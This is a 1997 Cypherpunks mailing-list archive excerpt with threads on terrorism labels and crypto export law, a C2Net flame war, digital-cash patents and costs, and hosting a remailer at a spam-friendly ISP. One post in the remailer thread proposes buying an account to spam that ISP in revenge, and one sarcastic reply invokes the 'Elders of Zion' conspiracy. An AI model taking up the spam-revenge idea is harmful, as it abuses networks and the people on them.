>> ultimately succeed in, say, killing 5000 Londoners in a Sarin or
>> Ricin attack in the Tube, expect dramatic moves in all Western
>> nations to sharply curtail civil liberties.
>
>I think we violently agree here, except for one-sided terminologies
>like "freedom fighters" or "terrorists".

I've been trying consciously to use "freedom fighter" in nearly all cases
where the Administration would use "terrorist." It causes people to
sometimes do a double take, and think more closely about the underlying
issues.

In fact, many of the world's so-called "terrorists" are in fact fighting
for some form of liberation from colonialists, corporations who bought up
land from corrupt dictators, and so on. We could argue whether the IRA is a
"freedom fighting" group, given that Protestants are in a majority in
Northern Ireland, but then we'd have to also consider the British policies
which encourgaged migration of Protestants to Ireland, etc.

(Are American Indians who fight for basic rights, and for enforcement of
treaties, terrorists or freedom fighters? Or something else? Or do labels
matter?)

And what about the "freedom fighters" in the jungles of Burma (Myanmar)
Phil Zimmermann likes to cite as critical users of PGP? By the standards of
the official government of Burma, these folks are terrorists. (They blow up
bridges, derail trains, etc.)

I usually cite these rebels as obvious examples of terrorists using strong
crypto. And by the fact that Phil Z. advertises the use of PGP by these
terrorists, I submit that SAFE could be invoked so as to halt international
exports of PGP by using the clause which says:

" The Secretary shall authorize the export or reexport of software with
encryption capabilities for nonmilitary end-uses ...unless there is
substantial evidence that such software will be...diverted to a military
end-use or an end-use supporting international terrorism...[or]...modified
for military or terrorist end-use..."

Slam dunk! "PGP being used by terrorists in Burma...license for export denied."


(And there's no way to bring in such sophistry as "legitimate governments."
The government of Burma is not substantially less legitimate than are
hundreds of other governments.)

"Terrorism" is just another mode of warfare.

(If the argument is that terrorism involves attacks on civilians, what were
the firebombings of Dresden (300,000 German civilians killed) and Tokyo
(200,000 killed), not to mention Hiroshima. And so on. Most arguments
purporting to prove that various "terrorist" groups are not legitimate
freedom fighters will turn up such inconsistencies.)

The State of Israel got a big boost from terrorism, with the Stern Gang
bombing British barracks, bridges, etc. Begin was even a member.

And so it goes.

--Tim May, referred to as an "info-terrorist" by one government guy


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tm at dev.null  Mon May  5 13:34:04 1997
From: tm at dev.null (TruthMonger)
Date: Tue, 6 May 1997 04:34:04 +0800
Subject: Insults about Vulis
Message-ID: <199705051953.NAA05074@wombat.sk.sympatico.ca>


Tim May wrote:
>
> At 10:22 PM -0800 5/4/97, Alan Olsen wrote:
> >I really knew what specific actions caused people to have such a NASTY
> >opinion of C2net.
>
> This is an easy one. The only continuing insults I see come from Vulis. No
> further explanation is needed.
> (One wonders why Vulis does not simply program one of his insultbots to
> spew out a daily insult.)

  Tim should try to keep in mind that his vision is limited
due to his generous use of self-censorship. Were it not so,
then he might be aware of more than a few people who regard
StrangleHold's empire with suspicion.
  I suppose that Mr. May regards Tom Weinstein, of Nut$crape, as
just another Vulis tenacle. Or perhaps Mr. Weinstein is in Tim's
killfile.

  Of course, Tim lets us all know that once he has spoken from
upon high, that there is nothing more to be said in the matter.
  Perhaps Tim could ask Vulis, a programmer, to send him an
insultbot to compose his Vulissaults.
  Or perhaps he could take the time to scan all the list posts
and get a realistic view of list opinions and attitudes before
he speaks out.
  Or perhaps he could stop to think about how much criticism
of C2Nut's products is blunted by their censorship of other
lists and their gang of legal-eagle thugs.

  [Please note that "Blame it all on Vulis," a favorite cypherpunk
game, is not sold in stores.]

> But the C2Net flap is behind us. The continuing claims that it was C2Net
> which instructed Gilmore to remove Vulis are incorrect-

  Once again, Tim speaks of things of which he has, by his own
admission, little knowledge, since he claims to have only lightly
perused a precious few of the articles from this time period.
  Both John and Sandy stated that it was Sandy SameerFart who
approached John with the offer of moderation/censorship.
  Robert Hettinga belatedly proposed that it was he who
suggested the idea to Sandy (about the same time that Bob was
coming into some cash and reputation capital promoting C2Nut's
pet projects).

  While I anxiously await most of Mr. May's posts with eager
anticipation, I think it might be wise of him to consult the
archives regarding those things which transpired during his
absence from the list, before speaking out so strongly on
the issues involved (particularly if he is going to give the
impression that once he has spoken, there is nothing more
to be said).

FactMonger

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn/






From ichudov at algebra.com  Mon May  5 13:35:07 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Tue, 6 May 1997 04:35:07 +0800
Subject: Rape, death and XS4ALL
In-Reply-To: 
Message-ID: <199705052012.PAA14656@manifold.algebra.com>


sounds like high time to get out of that country.

plus, in america programmers get paid a lot better than there.

igor

Paul Bradley wrote:
> 
> 
> 
> > > > A ban on all handguns even when registered (currently all pistols above 
> > > > .22 are banned and all guns have to be registered in a process whereby if 
> > > > the applicant for a certificate has any history of political dissention 
> > > > or crime (eg. Smoking a joint, the ultimate sin against society) the 
> > > > certificate will be refused.
> > 
> > What would be an example of such political dissention?
> 
> Well, I`m pretty sure that, having recently been involved in campaigns 
> against the ban on handguns, written to a number of people in positions 
> of power over the proposed TTP scheme in the DTI white paper etc. my 
> firearms licence will not be renewed the next time it comes up for review.
> The powers that be now presumably see me as a loon.
> 
> A damning enditement on the British people is that last time I mentioned 
> to someone my having written to the home office and others over the 
> proposed gun ban I was called a lunatic and told "The sort of person who 
> writes to the home office over something like that is the least suitable 
> to have a gun".
> 
> I can assure you this is not a one-off, this happens every time people who 
> don`t shoot find out I do. They have been brainwashed by the 
> tabloid press, for example, the daily mail ran a particularly vitriolic 
> hate campaign against gun owners singling out Albie Fox, leader of the 
> campaign against the ban, and calling him a "Gun obsessed lunatic".
> This, recall, is the same daily mail which rants every day about the 
> "evil of drugs" and how the only way to "save society" is to throw 
> everyone who doesn`t support their particular brand of bigoted fanaticism 
> into jail for the rest of their life.
> 
> And of course, one would imagine that those who actually owned guns and 
> used them for sport themselves would be the most informed people who 
> would realise that the criminal use of guns is at the opposite end of the 
> scale to the sporting use allowed in British law. However, I know several 
> people who have said "I`m happy to give up my guns if it will save 
> lives", to this I simply reply "who were you going to kill?" then walk 
> away, these people don`t even deserve correcting as their bullshit is so 
> deep.
> 
> In addition, when the police revoke or refuse to renew a firearms 
> certificate, they do not need to give a reason, so one cannot even prove 
> that it was because of speech or opinions they didn`t like that they 
> revoked the certificate. Even if you could, it is unlikely a challenge in 
> court would succeed, the UK does not have the same free speech guarantees 
> as are given in the US and elsewhere, and any court challenge would fail, 
> of that I am sure.
> 
> Also, to worsen the situation, the labour party has now come to power and 
> as I have already explained in a previous post this make matters even worse.
> 
> 



	- Igor.






From rah at shipwright.com  Mon May  5 13:37:39 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 6 May 1997 04:37:39 +0800
Subject: Software patents
In-Reply-To: <3.0.32.19970429233202.0070b8e4@netcom13.netcom.com>
Message-ID: 


At 2:41 am -0400 on 4/30/97, Lucky Green wrote:


> Anecdote: at a conference, I asked a patent attorney what strategy to
> follow if your patented technology is only happening in the client
> software. He looked at me like I was drooling on myself and said: "Uhm...
> Well... Then you have a problem."
>
> IANAL, but I suppose the best strategy for the owners of a shaky software
> patent would be to make people believe that their technology is patented in
> many more jurisdictions than it actually is.

I expect two things will happen with the blind signature patent. Either
Digicash licenses the patent  or they don't. :-).

If they do, they have a real good chance of actually making back all the
money they've wasted so far trying to figure out what kind of business they
should be in, which is, again, cryptography.

If they don't license the patent, they will either find a greater fool to
invest in further, um, personal growth, until the patent expires (likely to
me this afternoon, :-)), or someone will actually buy the patent out of the
rubble and hopefully license it.

Under no circumstances do I see any commercial use of the blind signature
patent without the unencumbered legal permission of that patent's owner
(whoever that ends up being). Even the threat of legal action, justified or
not, will sufficiently perturb the economics of starting up a digital
bearer certificate market to prevent any action in those markets without
the patent holder.


I think comparisons to VCRs are inappropriate, because every point of
digital cash exchange between the net and the meatspace finance world can
be slapped with an injunction, and, actual money, changing hands, will be
taken away from someone.

Contributory enfringement may or may not occur in the client, but the fact
is, a trusted thrid party, a financial intermediary, needs to underwrite
the negotiable instrument that a Chaumian digital cash certificate
represents. In order to be trustworthy, that underwriter needs a trustee,
and, for the time being, those trustees will be banks of deposit, subject
to all the state-monopolized "physical" law of meatspace, including patent
law.

Banks, in their current incarnation as account-based book-entry entries,
cannot ignore the law of nation states, because the very efficacy of their
transaction settlement schems requires the physical force of a nation state
to prevent non-repudiation of those transactions.

Cheers,
Bob Hettinga




-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/








From rah at shipwright.com  Mon May  5 13:56:18 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 6 May 1997 04:56:18 +0800
Subject: Insults about Vulis
In-Reply-To: <199705051953.NAA05074@wombat.sk.sympatico.ca>
Message-ID: 


At 3:56 pm -0400 on 5/5/97, TruthMonger wrote:


>   Robert Hettinga belatedly proposed that it was he who
> suggested the idea to Sandy (about the same time that Bob was
> coming into some cash and reputation capital promoting C2Nut's
> pet projects).

What *I* want to know is, when do I get the TriLateral Commission
membership card (*and* secret decoder ring) I bought with all that cash.

I'm honored to be Mongered in such fine company.

Bob Hettinga
(who seems to have taken a cashflow "holiday" last year...)

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/








From nobody at huge.cajones.com  Mon May  5 13:58:16 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 6 May 1997 04:58:16 +0800
Subject: Controversial Commercial ISP for Remailer?Controversial Commercial ISP for Remailer?
Message-ID: <199705052033.NAA26438@fat.doobie.com>


-----BEGIN PGP SIGNED MESSAGE-----

Suppose you wanted a commercial ISP to run a Winsock middleman remailer on.
An ISP that was tolerant of the kinds of abuse and SPAM that remailers 
occasionally suffer from.  An ISP who'd take your money and leave you alone. 
An ISP who wouldn't drop your account because of bad publicity. 
An ISP that could be a stable anchor for a remailer system,
and maybe even for web-page remailers.

Well, such an ISP exists, but there's a catch.  It's Cyberpromo.com --
An ISP whose reputation capital was already so LOW that another 
gigabyte of flames to the postmaster wouldn't really be noticed.  
The good news is that service is pretty cheap - $50/2yrs POP+autoresponder,
or $39 one-time for a mail forwarder.  Don't know if he takes anonymous 
accounts, but probably does, since money orders are more reliable than most 
of his customers :-)  Also don't know how he'd respond to subpoenas and 
warrants (probably quickly?) or wiretap requests (he's not a telco), 
or how long before he'll be assassinated or banned or IDPd.

The bad news, of course, is that Spamford's negative reputation rubs off
on the whole remailer system, and you risk a lot more spamming and
anti-spammer attacks on your remailer (hence more administration work),
and you risk raising Spamford's public image, and it does involve
giving money to Spamford, which could be viewed as rewarding bad behaviour.
You'd probably want to limit the remailer to one email destination per 
message to cut down on spamming.

			Spambert
			
			Greasy Fingerprint A0 D0 31 DF 62 85 19 0A
					   A6 95 EA 85 A9 64 1B 7E


-----BEGIN PGP SIGNATURE-----
Version: 4.0 Personal Edition

iQBFAgUBM25ByouqXu2FMJm1AQGhhQF/a0mCkwaVOolhkhX7t/kYSoVZ07bqxIC4
tYy9yumhnK97AwXqVjWoTSVffJYNbSwG
=iLKF
-----END PGP SIGNATURE-----


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From ichudov at algebra.com  Mon May  5 14:26:03 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Tue, 6 May 1997 05:26:03 +0800
Subject: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705052033.NAA26438@fat.doobie.com>
Message-ID: <199705052058.PAA15223@manifold.algebra.com>


Huge Cajones Remailer wrote:
> Well, such an ISP exists, but there's a catch.  It's Cyberpromo.com --
> An ISP whose reputation capital was already so LOW that another 
> gigabyte of flames to the postmaster wouldn't really be noticed.  
> The good news is that service is pretty cheap - $50/2yrs POP+autoresponder,
> or $39 one-time for a mail forwarder.  Don't know if he takes anonymous 
> accounts, but probably does, since money orders are more reliable than most 
> of his customers :-)  Also don't know how he'd respond to subpoenas and 
> warrants (probably quickly?) or wiretap requests (he's not a telco), 
> or how long before he'll be assassinated or banned or IDPd.
> 
> The bad news, of course, is that Spamford's negative reputation rubs off
> on the whole remailer system, and you risk a lot more spamming and
> anti-spammer attacks on your remailer (hence more administration work),
> and you risk raising Spamford's public image, and it does involve
> giving money to Spamford, which could be viewed as rewarding bad behaviour.
> You'd probably want to limit the remailer to one email destination per 
> message to cut down on spamming.
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 

the problem with spamford is that many sites ignore everything (IP packets,
email messages, and so on) that comes from there.

algebra.com, for example, ignores all email from cyberpromo and all
affiliated domains.

If i discover that there is something useful taht comes out of there, *i*
may fine tune my setup, but do not hope that other sites will be as nice.

	- Igor.






From sunder at brainlink.com  Mon May  5 14:58:05 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Tue, 6 May 1997 05:58:05 +0800
Subject: Insults about C2Net
In-Reply-To: 
Message-ID: 


On Mon, 5 May 1997, Tim May wrote:

> But the C2Net flap is behind us. The continuing claims that it was C2Net
> which instructed Gilmore to remove Vulis are incorrect--Gilmore actually
> receives his instructions from the Elders of Zion, relayed through the San
> Francisco representatives of the Bilderburgers.

Actually he recieved those instructions from the great Cthulhu himself 
while channeling the same in a fit of glossalia brought on by a diet 
consisting of way too many cypherpunks message of high spam content.
The fact that the very elder gods themselves have directed the hand of 
John in this matter is a very subtle hint at how silly Vulis is.

Why, the great Nyarlatheotep, the great, mad, blind god at the center of the
universe finds Vulis's constant spams a competitive threat to his quest for
chaos which is why he has asked Cthulu to send his minions at toad.com. 

Ia! Ia!  All hail Cthulu. :)

 -- Ray
 High priest of calamari, stir fried, not shaken.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From sunder at brainlink.com  Mon May  5 15:01:08 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Tue, 6 May 1997 06:01:08 +0800
Subject: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705052058.PAA15223@manifold.algebra.com>
Message-ID: 


On Mon, 5 May 1997 ichudov at algebra.com wrote:

> > Well, such an ISP exists, but there's a catch.  It's Cyberpromo.com --
> > An ISP whose reputation capital was already so LOW that another 
> > gigabyte of flames to the postmaster wouldn't really be noticed.  
> > The good news is that service is pretty cheap - $50/2yrs POP+autoresponder,
> > or $39 one-time for a mail forwarder.  Don't know if he takes anonymous 
> > accounts, but probably does, since money orders are more reliable than most 
> > of his customers :-)  Also don't know how he'd respond to subpoenas and 
> > warrants (probably quickly?) or wiretap requests (he's not a telco), 
> > or how long before he'll be assassinated or banned or IDPd.

> If i discover that there is something useful taht comes out of there, *i*
> may fine tune my setup, but do not hope that other sites will be as nice.

Well, here's a thought.  Let's pool some cash together and go off and 
spam cyberpromo from the inside.  Let's get an account there, turn it 
around and spam everyone and their mother at cyberpromo and their 
respective subdomains.   Wouldn't that be sweet revenge?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From kent at songbird.com  Mon May  5 15:17:42 1997
From: kent at songbird.com (Kent Crispin)
Date: Tue, 6 May 1997 06:17:42 +0800
Subject: Rejecting Dialog with Government Vermin
In-Reply-To: <199705051536.IAA12717@mail.pacifier.com>
Message-ID: <19970505142016.07466@bywater.songbird.com>


On Mon, May 05, 1997 at 08:32:17AM -0800, Jim Bell wrote:
> At 08:50 5/02/97 -0700, Kent Crispin wrote:
> >On Fri, May 02, 1997 at 12:34:19AM -0800, Jim Bell wrote:
> 
> >The basic point, really, is that organizational complexity grows 
> >with the size of the organization, at a greater than linear rate.  
> >This is because organizational complexity is a function of 
> >interactions between members of the organization, which is at least 
> >n-squared.  (However, when you consider that alliances form and can 
> >interact, the true complexity grows at a much faster rate.) 
> 
> You seem to be taken with making all sorts of bare, unsupported claims,

I didn't bother to support that claim because it is trivially 
obvious.  For your benefit:

In *any* organization of size n there are obviously n squared one to
one personal relationships possible.  This is just mathematics.  (Oh,
to be really precise, n^2 - n, since the relationship with yourself
doesn't count).  However, any two people may form an alliance that may
have to be considered as a unit, likewise any three people, up to any
group of size n-1.  Clearly, any large group must impose some
structure to function as a group, otherwise the communication
complexity is overwhelming.  A frequent organization is a hierarchy,
or tree structure, and the standard rule of thumb is that a manager
should have around 7 direct subordinates.  This is all so 
basic...certainly it's kind of fluffy, because all social sciences 
seem kind of fluffy.  But the increase in complexity with 
organization size is observationally obvious, as well.  Compare big 
business to small business.  Compare Boy Scouts with your local 
street gang.

> obviously with the intention of explaining (for example) away what was
> apparently an INTENTIONAL increase in the size of Federal government between
> (say) 1932 and today.   
>
> To read your paragraph above, its increase in size was simply the
> unavoidable consequence of nature's laws or something akin to it.  Maybe a
> product of number theory, or the Fibbonacci sequence, exponential increase,
> or something like that.  Which would, if true, remove just about all the
> blame from those who were in control of the situation.
> 
> BULLSHIT!

I'm not into the blame game, in general -- you know the old saying
about not assuming malice when stupidity is an adequate explanation?
Blame is a waste of time, in general.  The only thing worth
considering is how to make things better, and sometimes I wonder 
about that. 

> Chances are good that at least 75% of the size of the US Federal government
> today is due to spending that wasn't considered the proper Constitutional
> function of the government before 1930, and certainly not before 1900 or so.
> (Large peacetime military, Socialist Insecurity, Welfare, Medicare,
> Medicaid, interest on national debt caused by deficit spending that occurred
> due to funding these previous atrocities, etc.)

So what?

One mans attempt to do social good is another man's atrocity, apparently, 
just as one persons freedom fighter is another persons terrorist.  
Any real government has to deal with the fact that people have 
different opinions.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From nobody at REPLAY.COM  Mon May  5 16:56:11 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 6 May 1997 07:56:11 +0800
Subject: Rape, death and XS4ALL
In-Reply-To: 
Message-ID: <199705052338.BAA02697@basement.replay.com>


Paul Bradley  wrote:

>Absolutely, besides which, even though I believe in the right of people 
>to be as bigotted and statist as they see fit, there are only so many 
>causes we can support and coming in on the side of XS4ALL knowing their 
>record seems ill advised to me. If they truly deserved our support they 
>would retain the pages whether they were legal or not.

  Funny, I didn't notice that *you* supported XS4ALL in the first place.

  Besides, you fail to understand that those who put up Radikal
mirrors didn't do it to support XS4ALL (mirroring just one of their
customers' pages doesn't help them much, eh?), but to fight for
free speech.

  Why don't you host that marijuana vendor's pages on your website?

   --Faktor 4






From shamrock at netcom.com  Mon May  5 17:10:54 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 6 May 1997 08:10:54 +0800
Subject: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <199705051842.LAA21649@krypton.chromatic.com>
Message-ID: 


On Mon, 5 May 1997, Ernest Hua wrote:
> I don't completely like the first amendment argument because it is
> solely based on claiming that software is, first and foremost,
> expression.  In fact, software has mechanism and side effect of
> mechanism.  If software were strictly expression, it is hard to
> imagine how a multi-billion industry could have spawned from such an
> inert practice.  Another example: one could argue that crafting an
> grenade launcher is artistic expression, but surely few would consider
> THAT argument when faced with such an "expressive" neighbor.

I concur. A citizen has the right to manufacture a grenade launcher under
the Second Amendment (irrespective of what judges scared into submission
by Roosevelt et al may have ruled), not the First. 






From rah at shipwright.com  Mon May  5 17:28:29 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 6 May 1997 08:28:29 +0800
Subject: Bypassing the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: 


At 2:19 pm -0400 on 5/4/97, Hal Finney wrote:

> It is hard to understand why a system where it is impossible to track
> payments (Chaumian anonymity) is cheaper than one where it is possible
> to do so, but we choose not to.  If avoiding tracking payments is cheaper
> than tracking them, why wouldn't participants just not bother to track
> them even when they theoretically could?

I believe Greg Broiles and others have answered this sufficiently for now.

I'll vamp a little by saying, of course, that there's no way to tell until
the two methods of digital cash are actually measured. However, I'd, um,
bank, on the Chaumian variety, if the patents were ever unencumbered by
Digicash's unfortunate business model.

I'll also comment on the "information exaust" issue by saying that I agree
with Hal's hypothesis that one of the reasons that the information is there
is because of the non-repudiation requirements of government enforcement.
It behooves marketers to then leverage the cost distortion of the finance
department's data collection engine by adding in, at the margin, a little
additional data for processing. On the net, there will be no requirement
for this. The only people who need to keep books will be the meatspace
net-affiliated banks. The only books kept in putting money on the net or
taking it off, would be an aggregate number at the trustee, and the
withdrawls and deposits of people taking money on and off the net from
their respective personal and business bank accounts. The underwriter and
every transaction on the net, particularly those for information
(everything from music to surgery), do not need any transaction information
storage. A lot of incentive to keep money on the net, over time. Also, the
smaller the transaction size, the more important freedom from transaction
storage becomes. Again, the idea of micromoney "mitochondria", a
micropayment-settlement system for various internet resources, like SMTP,
or even bandwidth, comes to mind.


So, Tim and Ray also have right idea when they talk about how most small
businesses don't need all the information they're forced to collect by the
government for one reason or another. And, again, I claim that the net and
Moore's law creates *dis*economies of scale, probably to the microbusiness,
bot-sized, level, someday. And, the smaller the business entity, the less
information it really needs to operate. As you subdivide a market, the more
you trend towards perfect competition. (Of course, I mean "perfect
competition" in the commodity-price use of the phrase, where one soybean is
as good as any other. Fungible, in other words.) Branded soybeans are an
oxymoron, which is why you can buy and sell futures in them.


Finally, with the most abject apologies to the superior (with a brick, sir)
financial knowlege of Mr. Chrispin, the very best piece of information
about an efficient market for something is its most recent price.

No, I don't think this represents the end of the "marketing concept" as a
business model, but certainly when transaction cycles can be measured in
the microsecond range, a swarm of autonomous entities will probably do a
better job of fulfilling consumer wants than a multi-month top-down market
analysis by an MBA.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/








From hua at chromatic.com  Mon May  5 17:33:18 1997
From: hua at chromatic.com (Ernest Hua)
Date: Tue, 6 May 1997 08:33:18 +0800
Subject: Drifting toward 2nd Amendment arguments (Was: Responses to Tim May's criticism ...)
In-Reply-To: 
Message-ID: <199705060010.RAA00342@server1.chromatic.com>



> > I don't completely like the first amendment argument because it is
> > solely based on claiming that software is, first and foremost,
> > expression.  In fact, software has mechanism and side effect of
> > mechanism.  If software were strictly expression, it is hard to
> > imagine how a multi-billion industry could have spawned from such an
> > inert practice.  Another example: one could argue that crafting an
> > grenade launcher is artistic expression, but surely few would consider
> > THAT argument when faced with such an "expressive" neighbor.
> 
> I concur. A citizen has the right to manufacture a grenade launcher under
> the Second Amendment (irrespective of what judges scared into submission
> by Roosevelt et al may have ruled), not the First.

This discussion is starting to drift away from the original point ...

I suspect that the Second Amendment was created strictly for the defense
of the citizenry from a tyrannical government.  I have a hard time with
"the right to sport shooting" argument, as there were no such mention in
the Amendment.  I think if one wants to argue the Second Amendment, one
should restrict the issues to genuine and effective civil defense against
a tyrannical government.  I would suspect that few would tolerate such
a sweeping right today, as it is hard to imagine what would constitute
genuine and effective civil defense against a tyrannical government given
the power of today's governments.

In some convoluted way, one could argue that encryption is one way to
defend ourselves against a tyrannical state as the state's power is held
in check if they cannot arbitrarily gather information on anything or
anyone.  Of course, to say that could effectively diminish the argument
for physical defense as one is effectively trusting the integrity of one's
interconnect to the NII/GII.  If you don't trust the government, you
certainly should have difficulty believing your ?II connection is safe and
sound.

I would really prefer to keep the follow up's to this message on private
E-Mail, as it is starting to get off-topic.  Thanks.

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua at chromatic.com







From rah at shipwright.com  Mon May  5 17:34:36 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 6 May 1997 08:34:36 +0800
Subject: Bypassing the Digicash Patents
In-Reply-To: 
Message-ID: 


At 4:23 pm -0400 on 5/4/97, Steve Schear wrote:


> Although I stongly share your overall beliefs in the superiority of digital
> bearer certificates (DBC), I am much less certain about the intrinsic
> financial cost differentials.

Only time, and actual data, will tell, as I've said elsewhere.

> Let's first consider credit cards (CCs). Consumers using CCs, if they
> choose their bank/agent carefully and settle their monthly statements in
> full and promptly, pay nothing (directly) for the priviledge of using the
> cards.  One can argue that merchants build the cost of their CC transaction
> clearance costs into their price structure and therefore every patron,
> whether using cash or CC, pay for the costs of CC usage (few merchants
> offer cash discounts).  Most walk-in retail merchants, in good standing,
> pay about 2% in discount (fees).  On-line and mail order merchants pay
> about 3% as do those with a higher rate of chargebacks and/or in grey
> businesses (e.g., on-line gaming and adult entertainment).  These fees
> represent the costs of operating the CC clearing system (MC, VISA, AMEX,
> etc.) the bank's overhead and profit.

So, you've refuted that one for me. :-).

> Now let's look at Automatic Clearing House (ACH).

Funny you should mention that. It's one of my ideas for an e$Lab company.

I claim that ACH transactions can be driven to 2.5 cents with something
like the FSTC electronic check project when it comes on line. And, that
once you have enough bank servers on the net operating as "deposit windows
on the information superhighway", Metcalfe's law kicks in, and those
servers can clear against each other directly on the net, bypassing the ACH
system altogether. Probably bringing the price of clearing an internet
check to .0025 cents, which would leave the ACH record format as the Roman
wagon-wheel rut (which begat the standard european rail guage) of the
information age, and giving us the three or four orders of magnitude I was
talking about.

> It is not clear that the back office costs of running a mint are any
> cheaper than a book-entry system (e.g., control and auditing requirements
> to meet Generally Accepted Accounting Principles and establish/maintain
> trust)

Funny you should mention that one too. :-). The mint itself, being run by
an underwriter, probably doesn't need anything else in the way of record
keeping but a list of expired certificates, certificate issues, and keys.
The only place GAAP would really apply would be the trustee, who needs GAAP
anyway as a requirement of the book-entry world it lives in. And,
fortunately, the system already accounts for things like ATM transactions
anyway, which is how I see digital cash collateral getting on and off the
net for the most part. No net accounting load at all, to my mind, except,
of course, from the long-phase, but temporary, increase caused over time as
the net becomes a better place to do business than meatspace. Again, at
some point, when on-net trustees can keep assets in digital bearer
certificates, GAAP may hold for some things, but probably not too much for
the collateral pool of digital bearer assets, because those can be checked
by some kind of ZKP, anyway, right? There's also Eric Hughes' encrypted
open books idea, which would probably follow GAAP, granted. Anyway, maybe
the data format for ATM systems would become another Roman axlewidth to
measure commerce by.


> and you still need the book-entry system to occassionally transfer
> value; to the extent that digital bearer certificates become accepted as
> legal tender costs should decline, but the regulatory issues increase.

It's hard for me to see the regulatory load increase in a transaction
clearing system collateralized entirely by digital bearer certificates.
They can be anonymously held, remember? :-).

> However, the ACH and CC system's prices reflect the substantial Fed and CC
> backbone cost and profit to run their private networks, and it is here that
> costs for on-line digital bearer certificate systems will have and edge for
> some time.

Exactly. See my points about wagonruts, above. :-).


> When one combines the transactional economic advantages of DBC: no customer
> accounts, statement generation, little or no need for dispute resolution
> and the economies of using the Net for settlement, with the still
> considerable marketing costs, the likely differential between DBC and
> CC/ACH is closer to one order of magnitude at best.

Again, I still hold out for three or four.

> This is still
> considerable, however, and if properly branded and marketed could
> significantly displace current competition, for lower value transactions.
> The overhead of CC discounts is keenly watched by merchants.  If a trusted
> DBC issuer/agent offered 1.0% fees (especially to on-line merchants) it
> would get noticed quickly.

Agreed. However, when it happens, it'll probably be more significant than
that. I think removing 3 or 4 extra zeroes from the status quo is probably
what people should try to do when developing this stuff. I think that the
technology offers us at least that much slack, and probably more.

Remember, it *is* supposed to change the world. :-).

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/








From azur at netcom.com  Mon May  5 19:30:44 1997
From: azur at netcom.com (Steve Schear)
Date: Tue, 6 May 1997 10:30:44 +0800
Subject: Bypassing the Digicash Patents
Message-ID: 


>> When one combines the transactional economic advantages of DBC: no customer
>> accounts, statement generation, little or no need for dispute resolution
>> and the economies of using the Net for settlement, with the still
>> considerable marketing costs, the likely differential between DBC and
>> CC/ACH is closer to one order of magnitude at best.
>
>Again, I still hold out for three or four.
>
>> This is still
